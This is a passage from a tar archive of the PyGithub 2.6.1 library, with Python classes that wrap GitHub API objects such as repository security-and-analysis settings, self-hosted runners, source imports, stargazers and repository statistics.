Copyright 2023 Trim21 # # Copyright 2024 Caleb McCombs # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any import github.SecurityAndAnalysisFeature from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class SecurityAndAnalysis(NonCompletableGithubObject): """ This class represents Security and Analysis Settings. The OpenAPI schema can be found at - /components/schemas/security-and-analysis """ def _initAttributes(self) -> None: self._advanced_security: Attribute[github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature] = NotSet self._dependabot_security_updates: Attribute[ github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature ] = NotSet self._secret_scanning: Attribute[github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature] = NotSet self._secret_scanning_ai_detection: Attribute[str] = NotSet self._secret_scanning_non_provider_patterns: Attribute[ github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature ] = NotSet self._secret_scanning_push_protection: Attribute[ github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature ] = NotSet self._secret_scanning_validity_checks: Attribute[ github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature ] = NotSet def __repr__(self) -> str: repr_attributes = { "advanced_security": repr(self._advanced_security.value), "dependabot_security_updates": repr(self._dependabot_security_updates.value), "secret_scanning": repr(self._secret_scanning.value), "secret_scanning_non_provider_patterns": repr(self._secret_scanning_non_provider_patterns.value), "secret_scanning_push_protection": repr(self._secret_scanning_push_protection.value), "secret_scanning_validity_checks": repr(self._secret_scanning_validity_checks.value), } return self.get__repr__(repr_attributes) @property def advanced_security(self) -> github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature: return self._advanced_security.value @property def dependabot_security_updates(self) -> github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature: return self._dependabot_security_updates.value @property def secret_scanning(self) -> github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature: return self._secret_scanning.value @property def secret_scanning_ai_detection(self) -> str: return self._secret_scanning_ai_detection.value @property def secret_scanning_non_provider_patterns(self) -> github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature: return self._secret_scanning_non_provider_patterns.value @property def secret_scanning_push_protection(self) -> github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature: return self._secret_scanning_push_protection.value @property def secret_scanning_validity_checks(self) -> github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature: return self._secret_scanning_validity_checks.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "advanced_security" in attributes: # pragma no branch self._advanced_security = self._makeClassAttribute( github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature, attributes["advanced_security"] ) if "dependabot_security_updates" in attributes: # pragma no branch self._dependabot_security_updates = self._makeClassAttribute( github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature, attributes["dependabot_security_updates"] ) if "secret_scanning" in attributes: # pragma no branch self._secret_scanning = self._makeClassAttribute( github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature, attributes["secret_scanning"] ) if "secret_scanning_ai_detection" in attributes: # pragma no branch self._secret_scanning_ai_detection = self._makeStringAttribute(attributes["secret_scanning_ai_detection"]) if "secret_scanning_non_provider_patterns" in attributes: # pragma no branch self._secret_scanning_non_provider_patterns = self._makeClassAttribute( github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature, attributes["secret_scanning_non_provider_patterns"], ) if "secret_scanning_push_protection" in attributes: # pragma no branch self._secret_scanning_push_protection = self._makeClassAttribute( github.SecurityAndAnalysisFeature.SecurityAndAnalysisFeature, attributes["secret_scanning_push_protection"], ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/SecurityAndAnalysisFeature.py0000644000175100001660000001024214756101563022073 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Caleb McCombs # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class SecurityAndAnalysisFeature(NonCompletableGithubObject): """ This class represents a Security and Analysis feature status. The OpenAPI schema can be found at - /components/schemas/security-and-analysis/properties/advanced_security - /components/schemas/security-and-analysis/properties/dependabot_security_updates - /components/schemas/security-and-analysis/properties/secret_scanning - /components/schemas/security-and-analysis/properties/secret_scanning_non_provider_patterns - /components/schemas/security-and-analysis/properties/secret_scanning_push_protection """ def _initAttributes(self) -> None: self._status: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"status": self._status.value}) @property def status(self) -> str: return self._status.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/SelfHostedActionsRunner.py0000644000175100001660000001262414756101563021402 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2020 Victor Zeng # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class SelfHostedActionsRunner(NonCompletableGithubObject): """ This class represents Self-hosted GitHub Actions Runners. The reference can be found at https://docs.github.com/en/free-pro-team@latest/rest/reference/actions#self-hosted-runners The OpenAPI schema can be found at - /components/schemas/runner """ def _initAttributes(self) -> None: self._busy: Attribute[bool] = NotSet self._id: Attribute[int] = NotSet self._labels: Attribute[list[dict[str, int | str]]] = NotSet self._name: Attribute[str] = NotSet self._os: Attribute[str] = NotSet self._runner_group_id: Attribute[int] = NotSet self._status: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"name": self._name.value}) @property def busy(self) -> bool: return self._busy.value @property def id(self) -> int: return self._id.value @property def labels(self) -> list[dict[str, int | str]]: return self._labels.value @property def name(self) -> str: return self._name.value @property def os(self) -> str: return self._os.value @property def runner_group_id(self) -> int: return self._runner_group_id.value @property def status(self) -> str: return self._status.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "busy" in attributes: self._busy = self._makeBoolAttribute(attributes["busy"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "labels" in attributes: self._labels = self._makeListOfDictsAttribute(attributes["labels"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "os" in attributes: # pragma no branch self._os = self._makeStringAttribute(attributes["os"]) if "runner_group_id" in attributes: # pragma no branch self._runner_group_id = self._makeIntAttribute(attributes["runner_group_id"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/SourceImport.py0000644000175100001660000002615414756101563017265 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2018 Hayden Fuss # # Copyright 2018 Wan Liuyang # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github import Consts from github.GithubObject import Attribute, CompletableGithubObject, NotSet class SourceImport(CompletableGithubObject): """ This class represents SourceImports. The reference can be found here https://docs.github.com/en/rest/reference/migrations#source-imports The OpenAPI schema can be found at - /components/schemas/import """ def _initAttributes(self) -> None: self._authors_count: Attribute[int] = NotSet self._authors_url: Attribute[str] = NotSet self._commit_count: Attribute[int] = NotSet self._error_message: Attribute[str] = NotSet self._failed_step: Attribute[str] = NotSet self._has_large_files: Attribute[bool] = NotSet self._html_url: Attribute[str] = NotSet self._import_percent: Attribute[int] = NotSet self._large_files_count: Attribute[int] = NotSet self._large_files_size: Attribute[int] = NotSet self._message: Attribute[str] = NotSet self._project_choices: Attribute[list[dict[str, Any]]] = NotSet self._push_percent: Attribute[int] = NotSet self._repository_url: Attribute[str] = NotSet self._status: Attribute[str] = NotSet self._status_text: Attribute[str] = NotSet self._svc_root: Attribute[str] = NotSet self._svn_root: Attribute[str] = NotSet self._tfvc_project: Attribute[str] = NotSet self._url: Attribute[str] = NotSet self._use_lfs: Attribute[str] = NotSet self._vcs: Attribute[str] = NotSet self._vcs_url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__( { "vcs_url": self._vcs_url.value, "repository_url": self._repository_url.value, "status": self._status.value, "url": self._url.value, } ) @property def authors_count(self) -> int: self._completeIfNotSet(self._authors_count) return self._authors_count.value @property def authors_url(self) -> str: self._completeIfNotSet(self._authors_url) return self._authors_url.value @property def commit_count(self) -> int: self._completeIfNotSet(self._commit_count) return self._commit_count.value @property def error_message(self) -> str: self._completeIfNotSet(self._error_message) return self._error_message.value @property def failed_step(self) -> str: self._completeIfNotSet(self._failed_step) return self._failed_step.value @property def has_large_files(self) -> bool: self._completeIfNotSet(self._has_large_files) return self._has_large_files.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def import_percent(self) -> int: self._completeIfNotSet(self._import_percent) return self._import_percent.value @property def large_files_count(self) -> int: self._completeIfNotSet(self._large_files_count) return self._large_files_count.value @property def large_files_size(self) -> int: self._completeIfNotSet(self._large_files_size) return self._large_files_size.value @property def message(self) -> str: self._completeIfNotSet(self._message) return self._message.value @property def project_choices(self) -> list[dict[str, Any]]: self._completeIfNotSet(self._project_choices) return self._project_choices.value @property def push_percent(self) -> int: self._completeIfNotSet(self._push_percent) return self._push_percent.value @property def repository_url(self) -> str: self._completeIfNotSet(self._repository_url) return self._repository_url.value @property def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property def status_text(self) -> str: self._completeIfNotSet(self._status_text) return self._status_text.value @property def svc_root(self) -> str: self._completeIfNotSet(self._svc_root) return self._svc_root.value @property def svn_root(self) -> str: self._completeIfNotSet(self._svn_root) return self._svn_root.value @property def tfvc_project(self) -> str: self._completeIfNotSet(self._tfvc_project) return self._tfvc_project.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def use_lfs(self) -> str: self._completeIfNotSet(self._use_lfs) return self._use_lfs.value @property def vcs(self) -> str: self._completeIfNotSet(self._vcs) return self._vcs.value @property def vcs_url(self) -> str: self._completeIfNotSet(self._vcs_url) return self._vcs_url.value def update(self, additional_headers: None | dict[str, Any] = None) -> bool: import_header = {"Accept": Consts.mediaTypeImportPreview} return super().update(additional_headers=import_header) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "authors_count" in attributes: # pragma no branch self._authors_count = self._makeIntAttribute(attributes["authors_count"]) if "authors_url" in attributes: # pragma no branch self._authors_url = self._makeStringAttribute(attributes["authors_url"]) if "commit_count" in attributes: # pragma no branch self._commit_count = self._makeIntAttribute(attributes["commit_count"]) if "error_message" in attributes: # pragma no branch self._error_message = self._makeStringAttribute(attributes["error_message"]) if "failed_step" in attributes: # pragma no branch self._failed_step = self._makeStringAttribute(attributes["failed_step"]) if "has_large_files" in attributes: # pragma no branch self._has_large_files = self._makeBoolAttribute(attributes["has_large_files"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "import_percent" in attributes: # pragma no branch self._import_percent = self._makeIntAttribute(attributes["import_percent"]) if "large_files_count" in attributes: # pragma no branch self._large_files_count = self._makeIntAttribute(attributes["large_files_count"]) if "large_files_size" in attributes: # pragma no branch self._large_files_size = self._makeIntAttribute(attributes["large_files_size"]) if "message" in attributes: # pragma no branch self._message = self._makeStringAttribute(attributes["message"]) if "project_choices" in attributes: # pragma no branch self._project_choices = self._makeListOfDictsAttribute(attributes["project_choices"]) if "push_percent" in attributes: # pragma no branch self._push_percent = self._makeIntAttribute(attributes["push_percent"]) if "repository_url" in attributes: # pragma no branch self._repository_url = self._makeStringAttribute(attributes["repository_url"]) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) if "status_text" in attributes: # pragma no branch self._status_text = self._makeStringAttribute(attributes["status_text"]) if "svc_root" in attributes: # pragma no branch self._svc_root = self._makeStringAttribute(attributes["svc_root"]) if "svn_root" in attributes: # pragma no branch self._svn_root = self._makeStringAttribute(attributes["svn_root"]) if "tfvc_project" in attributes: # pragma no branch self._tfvc_project = self._makeStringAttribute(attributes["tfvc_project"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "use_lfs" in attributes: # pragma no branch self._use_lfs = self._makeStringAttribute(attributes["use_lfs"]) if "vcs" in attributes: # pragma no branch self._vcs = self._makeStringAttribute(attributes["vcs"]) if "vcs_url" in attributes: # pragma no branch self._vcs_url = self._makeStringAttribute(attributes["vcs_url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Stargazer.py0000644000175100001660000001133114756101563016563 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2015 Dan Vanderkam # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.NamedUser from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: from github.NamedUser import NamedUser class Stargazer(NonCompletableGithubObject): """ This class represents Stargazers. The reference can be found here https://docs.github.com/en/rest/reference/activity#starring """ def _initAttributes(self) -> None: self._starred_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[NamedUser] = NotSet def __repr__(self) -> str: # this is not a type error, just we didn't type `NamedUser` yet. # enable type checker here after we typed attribute of `NamedUser` return self.get__repr__({"user": self._user.value._login.value}) # type: ignore @property def starred_at(self) -> datetime: return self._starred_at.value @property def user(self) -> NamedUser: return self._user.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "starred_at" in attributes: self._starred_at = self._makeDatetimeAttribute(attributes["starred_at"]) if "user" in attributes: self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/StatsCodeFrequency.py0000755000175100001660000001030214756101563020374 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class StatsCodeFrequency(NonCompletableGithubObject): """ This class represents statistics of StatsCodeFrequencies. The reference can be found here https://docs.github.com/en/rest/metrics/statistics?apiVersion=2022-11-28#get-the-weekly-commit-activity The OpenAPI schema can be found at - /components/schemas/code-frequency-stat """ def _initAttributes(self) -> None: self._additions: Attribute[int] = NotSet self._deletions: Attribute[int] = NotSet self._week: Attribute[datetime] = NotSet @property def additions(self) -> int: return self._additions.value @property def deletions(self) -> int: return self._deletions.value @property def week(self) -> datetime: return self._week.value def _useAttributes(self, attributes: tuple[int, int, int]) -> None: self._week = self._makeTimestampAttribute(attributes[0]) self._additions = self._makeIntAttribute(attributes[1]) self._deletions = self._makeIntAttribute(attributes[2]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/StatsCommitActivity.py0000755000175100001660000001057014756101563020614 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime from typing import Any, Dict import github.GithubObject from github.GithubObject import Attribute class StatsCommitActivity(github.GithubObject.NonCompletableGithubObject): """ This class represents StatsCommitActivities. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-the-last-year-of-commit-activity The OpenAPI schema can be found at - /components/schemas/commit-activity """ def _initAttributes(self) -> None: self._days: Attribute[int] = github.GithubObject.NotSet self._total: Attribute[int] = github.GithubObject.NotSet self._week: Attribute[datetime] = github.GithubObject.NotSet @property def days(self) -> int: return self._days.value @property def total(self) -> int: return self._total.value @property def week(self) -> datetime: return self._week.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "days" in attributes: # pragma no branch self._days = self._makeListOfIntsAttribute(attributes["days"]) if "total" in attributes: # pragma no branch self._total = self._makeIntAttribute(attributes["total"]) if "week" in attributes: # pragma no branch self._week = self._makeTimestampAttribute(attributes["week"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/StatsContributor.py0000755000175100001660000001325514756101563020164 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.NamedUser from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class StatsContributor(NonCompletableGithubObject): """ This class represents StatsContributors. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-all-contributor-commit-activity The OpenAPI schema can be found at - /components/schemas/contributor-activity """ class Week(NonCompletableGithubObject): """ This class represents weekly statistics of a contributor. The OpenAPI schema can be found at - /components/schemas/contributor-activity/properties/weeks/items """ def _initAttributes(self) -> None: self._a: Attribute[int] = NotSet self._c: Attribute[int] = NotSet self._d: Attribute[int] = NotSet self._w: Attribute[datetime] = NotSet @property def a(self) -> int: return self._a.value @property def c(self) -> int: return self._c.value @property def d(self) -> int: return self._d.value @property def w(self) -> datetime: return self._w.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "a" in attributes: # pragma no branch self._a = self._makeIntAttribute(attributes["a"]) if "c" in attributes: # pragma no branch self._c = self._makeIntAttribute(attributes["c"]) if "d" in attributes: # pragma no branch self._d = self._makeIntAttribute(attributes["d"]) if "w" in attributes: # pragma no branch self._w = self._makeTimestampAttribute(attributes["w"]) def _initAttributes(self) -> None: self._author: Attribute[github.NamedUser.NamedUser] = NotSet self._total: Attribute[int] = NotSet self._weeks: Attribute[list[StatsContributor.Week]] = NotSet @property def author(self) -> github.NamedUser.NamedUser: return self._author.value @property def total(self) -> int: return self._total.value @property def weeks(self) -> list[Week]: return self._weeks.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "total" in attributes: # pragma no branch self._total = self._makeIntAttribute(attributes["total"]) if "weeks" in attributes: # pragma no branch self._weeks = self._makeListOfClassesAttribute(self.Week, attributes["weeks"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/StatsParticipation.py0000755000175100001660000001022414756101563020451 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import Any from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class StatsParticipation(NonCompletableGithubObject): """ This class represents StatsParticipations. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-the-weekly-commit-count The OpenAPI schema can be found at - /components/schemas/participation-stats """ def _initAttributes(self) -> None: self._all: Attribute[list[int]] = NotSet self._owner: Attribute[list[int]] = NotSet @property def all(self) -> list[int]: return self._all.value @property def owner(self) -> list[int]: return self._owner.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "all" in attributes: # pragma no branch self._all = self._makeListOfIntsAttribute(attributes["all"]) if "owner" in attributes: # pragma no branch self._owner = self._makeListOfIntsAttribute(attributes["owner"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/StatsPunchCard.py0000755000175100001660000000765414756101563017527 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Dominic Davis-Foster # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A 